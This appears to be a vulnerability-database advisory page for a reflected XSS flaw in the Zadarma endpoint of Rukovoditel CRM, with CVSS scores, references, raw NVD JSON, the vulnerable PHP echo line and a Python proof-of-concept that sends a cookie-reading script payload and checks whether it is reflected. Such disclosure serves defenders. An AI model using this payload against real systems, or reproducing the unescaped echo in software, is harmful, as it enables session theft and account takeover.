CVE-2026-31845

Description

A reflected cross-site scripting (XSS) vulnerability exists in Rukovoditel CRM version 3.6.4 and earlier in the Zadarma telephony API endpoint (/api/tel/zadarma.php). The application directly reflects user-supplied input from the 'zd_echo' GET parameter into the HTTP response without proper sanitization, output encoding, or content-type restrictions. The vulnerable code is: if (isset($_GET['zd_echo'])) exit($_GET['zd_echo']); An unauthenticated attacker can exploit this issue by crafting a malicious URL containing JavaScript payloads. When a victim visits the link, the payload executes in the context of the application within the victim's browser, potentially leading to session hijacking, credential theft, phishing, or account takeover. The issue is fixed in version 3.7, which introduces proper input validation and output encoding to prevent script injection.

CVSS Details

CVSS Score

9.3

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Rukovoditel CRM <= 3.6.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
import requests

target_url = "http://target-host/api/tel/zadarma.php"
# Malicious JavaScript payload
xss_payload = "<script>alert(document.cookie);</script>"

print(f"[*] Testing target: {target_url}")

# Craft the exploit URL
params = {'zd_echo': xss_payload}

try:
    response = requests.get(target_url, params=params, timeout=5)
    
    # Check if the payload is reflected un-sanitized
    if xss_payload in response.text:
        print("[+] Vulnerability confirmed! The payload was reflected in the response.")
        print(f"[+] Response Body: {response.text}")
    else:
        print("[-] Vulnerability not detected or payload was sanitized.")
        
except requests.exceptions.RequestException as e:
    print(f"[!] Error connecting to target: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31845
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31845
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31845/
[4] VulDB https://vuldb.com/cve/CVE-2026-31845
[5] https://forum.rukovoditel.net/viewtopic.php?p=22499#p22499

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31845", "sourceIdentifier": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "published": "2026-04-11T19:16:28.537", "lastModified": "2026-05-19T15:50:41.340", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability exists in Rukovoditel CRM version 3.6.4 and earlier in the Zadarma telephony API endpoint (/api/tel/zadarma.php). The application directly reflects user-supplied input from the 'zd_echo' GET parameter into the HTTP response without proper sanitization, output encoding, or content-type restrictions.\n\nThe vulnerable code is:\n\nif (isset($_GET['zd_echo'])) exit($_GET['zd_echo']);\n\nAn unauthenticated attacker can exploit this issue by crafting a malicious URL containing JavaScript payloads. When a victim visits the link, the payload executes in the context of the application within the victim's browser, potentially leading to session hijacking, credential theft, phishing, or account takeover.\n\nThe issue is fixed in version 3.7, which introduces proper input validation and output encoding to prevent script injection."}], "metrics": {"cvssMetricV40": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}], "cvssMetricV2": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N", "baseScore": 6.4, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 4.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://forum.rukovoditel.net/viewtopic.php?p=22499#p22499", "source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c"}]}}